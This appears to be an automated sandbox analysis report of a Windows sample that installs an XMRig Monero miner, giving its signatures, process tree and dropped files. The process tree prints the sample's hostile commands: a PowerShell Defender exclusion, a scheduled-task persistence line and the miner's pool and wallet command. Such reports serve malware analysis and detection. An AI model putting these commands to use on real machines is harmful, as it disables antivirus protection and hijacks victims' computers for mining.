Analysis
- max time kernel
52s - max time network
51s - platform
windows7_x64 - resource
win7-20220901-en - resource tags
- submitted
15/11/2022, 03:45
General
- Target file.exe
- Size 1.7MB
- Sample221115-ea3daaeg85
- SHA256 95ef73be500fc3f3dfa432185a5b1fb7852ea7efbd2bc78d95cea1b9b938516a
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 4 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 36 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp3C65.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\WindowsMail\AVPTQBAEW.exe"C:\ProgramData\WindowsMail\AVPTQBAEW.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
AVPTQBAEW.exe
AVPTQBAEW.exe
tmp3C65.tmp.bat
590aee7bdd69b59b.customDestinations-ms
AVPTQBAEW.exe
memory/1132-74-0x000007FEFB741000-0x000007FEFB743000-memory.dmp
memory/1132-81-0x000007FEF55E0000-0x000007FEF6003000-memory.dmp
memory/1132-84-0x00000000027AB000-0x00000000027CA000-memory.dmp
memory/1132-83-0x00000000027A4000-0x00000000027A7000-memory.dmp
memory/1132-82-0x000007FEF4A80000-0x000007FEF55DD000-memory.dmp
memory/1204-59-0x000007FEFD8E0000-0x000007FEFD97F000-memory.dmp
memory/1204-64-0x000007FEFDA30000-0x000007FEFDB0B000-memory.dmp
memory/1204-66-0x000007FEFE130000-0x000007FEFE25D000-memory.dmp
memory/1204-67-0x000007FEFD200000-0x000007FEFD403000-memory.dmp
memory/1204-70-0x00000000004E0000-0x0000000000523000-memory.dmp
memory/1204-69-0x0000000000EF0000-0x0000000001100000-memory.dmp
memory/1204-68-0x000007FEFB500000-0x000007FEFB556000-memory.dmp
memory/1204-71-0x0000000000EF0000-0x0000000001100000-memory.dmp
memory/1204-72-0x000007FEF6500000-0x000007FEF662C000-memory.dmp
memory/1204-76-0x000007FEFD8C0000-0x000007FEFD8DF000-memory.dmp
memory/1204-80-0x00000000004E0000-0x0000000000523000-memory.dmp
memory/1204-65-0x000007FEF5620000-0x000007FEF600C000-memory.dmp
memory/1204-63-0x000007FEFA9C0000-0x000007FEFAAB7000-memory.dmp
memory/1204-62-0x000007FEFD9A0000-0x000007FEFDA11000-memory.dmp
memory/1204-61-0x000007FEFCEA0000-0x000007FEFCF0C000-memory.dmp
memory/1204-60-0x0000000076DA0000-0x0000000076EBF000-memory.dmp
memory/1204-78-0x0000000000EF0000-0x0000000001100000-memory.dmp
memory/1204-58-0x0000000076CA0000-0x0000000076D9A000-memory.dmp
memory/1204-57-0x000007FEFE090000-0x000007FEFE0F7000-memory.dmp
memory/1204-56-0x000007FEFAAC0000-0x000007FEFAB5C000-memory.dmp
memory/1204-55-0x000007FEFAC60000-0x000007FEFACCF000-memory.dmp
memory/1284-98-0x000007FEF6530000-0x000007FEF6627000-memory.dmp
memory/1284-118-0x000007FEFDD50000-0x000007FEFDE27000-memory.dmp
memory/1284-93-0x0000000076CA0000-0x0000000076D9A000-memory.dmp
memory/1284-95-0x0000000076DA0000-0x0000000076EBF000-memory.dmp
memory/1284-94-0x000007FEFD8E0000-0x000007FEFD97F000-memory.dmp
memory/1284-97-0x000007FEFD9A0000-0x000007FEFDA11000-memory.dmp
memory/1284-96-0x000007FEFCEA0000-0x000007FEFCF0C000-memory.dmp
memory/1284-99-0x000007FEFDA30000-0x000007FEFDB0B000-memory.dmp
memory/1284-91-0x000007FEFAA20000-0x000007FEFAABC000-memory.dmp
memory/1284-100-0x000007FEF4C30000-0x000007FEF561C000-memory.dmp
memory/1284-101-0x000007FEFE130000-0x000007FEFE25D000-memory.dmp
memory/1284-103-0x000007FEFD200000-0x000007FEFD403000-memory.dmp
memory/1284-102-0x00000000004F0000-0x0000000000533000-memory.dmp
memory/1284-105-0x0000000000860000-0x0000000000A70000-memory.dmp
memory/1284-104-0x000007FEFB500000-0x000007FEFB556000-memory.dmp
memory/1284-106-0x0000000000860000-0x0000000000A70000-memory.dmp
memory/1284-108-0x000007FEF6220000-0x000007FEF634C000-memory.dmp
memory/1284-107-0x0000000000860000-0x0000000000A70000-memory.dmp
memory/1284-158-0x0000000000860000-0x0000000000A70000-memory.dmp
memory/1284-139-0x0000000000860000-0x0000000000A70000-memory.dmp
memory/1284-90-0x000007FEFABF0000-0x000007FEFAC5F000-memory.dmp
memory/1284-138-0x00000000004F0000-0x0000000000533000-memory.dmp
memory/1284-130-0x000007FEFC320000-0x000007FEFC37B000-memory.dmp
memory/1284-129-0x000007FEFCE20000-0x000007FEFCE56000-memory.dmp
memory/1284-117-0x000007FEFB2E0000-0x000007FEFB4F5000-memory.dmp
memory/1284-92-0x000007FEFE090000-0x000007FEFE0F7000-memory.dmp
memory/1284-119-0x000007FEFD8C0000-0x000007FEFD8DF000-memory.dmp
memory/1284-120-0x000007FEFC650000-0x000007FEFC672000-memory.dmp
memory/1284-121-0x000007FEFC500000-0x000007FEFC517000-memory.dmp
memory/1284-122-0x000007FEF0C30000-0x000007FEF0C4C000-memory.dmp
memory/1284-123-0x000007FEF0C50000-0x000007FEF0CB2000-memory.dmp
memory/1284-124-0x000007FEFD410000-0x000007FEFD45D000-memory.dmp
memory/1284-125-0x000007FEF9BB0000-0x000007FEF9C14000-memory.dmp
memory/1284-126-0x000007FEF9D10000-0x000007FEF9D81000-memory.dmp
memory/1284-127-0x000007FEFCAD0000-0x000007FEFCAF5000-memory.dmp
memory/1284-128-0x000007FEFA5E0000-0x000007FEFA607000-memory.dmp
memory/1660-142-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1660-143-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1660-131-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1660-132-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1660-134-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1660-136-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1660-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1660-140-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1660-157-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2036-116-0x000007FEEC220000-0x000007FEECD7D000-memory.dmp
memory/2036-115-0x000007FEECD80000-0x000007FEED7A3000-memory.dmp